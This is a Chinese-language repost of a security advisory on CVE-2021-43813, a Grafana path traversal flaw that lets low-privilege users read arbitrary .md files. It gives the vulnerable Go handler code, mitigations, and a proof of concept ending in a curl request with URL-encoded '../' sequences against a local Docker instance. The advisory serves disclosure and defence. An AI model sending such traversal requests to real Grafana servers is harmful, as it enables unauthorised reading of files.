Grafana路径遍历漏洞|CVE-2021-43813 poc

Grafana路径遍历漏洞|CVE-2021-43813 poc

漏洞描述

Grafana 是一个用于监控和可观察性的开源平台。8.3.2 和 7.5.12 版本之前的 Grafana 包含完全小写或完全大写 .md 文件的目录遍历漏洞。该漏洞的范围有限,仅允许经过身份验证的用户访问扩展名为 .md 的文件。Grafana Cloud 实例并未受到该漏洞的影响。用户应升级到修补版本 8.3.2 或 7.5.12。对于无法升级的用户,在 Grafana 前运行反向代理来规范化请求的 PATH 将缓解该漏洞。代理还必须能够处理 url 编码的路径。或者,对于完全小写或完全大写的 .md 文件,用户可以阻止 /api/plugins/.*/markdown/.* 而不会丢失内联插件帮助文本之外的任何功能。

协调披露时间表

  • 2021-12-09:报告发送至 [email protected]
  • 2021-12-09:问题已确认
  • 2021-12-10:问题已修复

概括

Grafana REST API 中发现路径遍历漏洞

产品

Grafana

测试版

v8.3.1

细节

路径遍历 ( GHSL-2021-1053)

GetPluginMarkdown请求处理程序是脆弱的路径遍历攻击。

func (hs *HTTPServer) GetPluginMarkdown(c *models.ReqContext) response.Response {
  pluginID := web.Params(c.Req)[":pluginId"]
  name := web.Params(c.Req)[":name"]                                      // [1]

  content, err := hs.pluginMarkdown(c.Req.Context(), pluginID, name)      // [2]
  if err != nil {
    var notFound plugins.NotFoundError
    if errors.As(err, &notFound) {
      return response.Error(404, notFound.Error(), nil)
    }

    return response.Error(500, "Could not get markdown file", err)
  }

  // fallback try readme
  if len(content) == 0 {
    content, err = hs.pluginMarkdown(c.Req.Context(), pluginID, "readme")
    if err != nil {
      return response.Error(501, "Could not get markdown file", err)
    }
  }

  resp := response.Respond(200, content)                                                      // [5]
  resp.SetHeader("Content-Type", "text/plain; charset=utf-8")
  return resp
}

请求处理程序映射到/plugins/:pluginId/markdown/:name端点在pkg/api/api.go

apiRoute.Get("/plugins/:pluginId/markdown/:name", routing.Wrap(hs.GetPluginMarkdown))

即使此端点需要身份验证,任何低权限用户(例如:)VIEWER都可以滥用此漏洞来读取服务器中的任意 Markdown 文件。

Grafana路径遍历漏洞|CVE-2021-43813 poc

不受信任的数据在 [1] 处进入应用程序,然后pluginMarkdown在 [2] 处传递给应用程序。

func (hs *HTTPServer) pluginMarkdown(ctx context.Context, pluginId string, name string) ([]byte, error) {
  plugin, exists := hs.pluginStore.Plugin(ctx, pluginId)
  if !exists {
    return nil, plugins.NotFoundError{PluginID: pluginId}
  }

  // nolint:gosec
  // We can ignore the gosec G304 warning on this one because `plugin.PluginDir` is based
  // on plugin the folder structure on disk and not user input.
  path := filepath.Join(plugin.PluginDir, fmt.Sprintf("%s.md", strings.ToUpper(name)))            // [3]
  exists, err := fs.Exists(path)
  if err != nil {
    return nil, err
  }
  if !exists {
    path = filepath.Join(plugin.PluginDir, fmt.Sprintf("%s.md", strings.ToLower(name)))
  }

  exists, err = fs.Exists(path)
  if err != nil {
    return nil, err
  }
  if !exists {
    return make([]byte, 0), nil
  }

  // nolint:gosec
  // We can ignore the gosec G304 warning on this one because `plugin.PluginDir` is based
  // on plugin the folder structure on disk and not user input.
  data, err := ioutil.ReadFile(path)                                                            // [4]
  if err != nil {
    return nil, err
  }
  return data, nil
}

然后任意name附加.md扩展名并连接到plugin.PluginDir[3]。最后,文件的内容在 [4] 处被读取并返回到调用函数,在 [5] 处的 HTTP 响应中返回它们

影响

此问题可能会导致任意.md文件泄露。

poc

  • 在 docker 容器上启动 Grafana 8.3.1: 
docker run -d -p 3000:3000 --name grafana grafana/grafana-oss:8.3.1
  • 访问localhost:3000,并使用admin/admin进行身份验证
  • 创建一个用密码VIEWER调用的新用户foofooo
  • /tmp/foo.md使用任意内容创建
  • 请求/tmp/foo.md使用
curl http://localhost:3000/api/plugins/alertlist/markdown/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2ftmp%2ffoo -u foo:fooo

CVE

  • CVE-2021-43813
  • CVE-2021-43815

资源

得分

此问题由 GHSL 团队成员@pwntester (Alvaro Muñoz)发现并报告。

接触

您可以通过 联系 GHSL 团队[email protected],请GHSL-2021-1053在有关此问题的任何通信中提供参考。

from

转载请注明出处及链接

Leave a Reply

您的电子邮箱地址不会被公开。 必填项已用 * 标注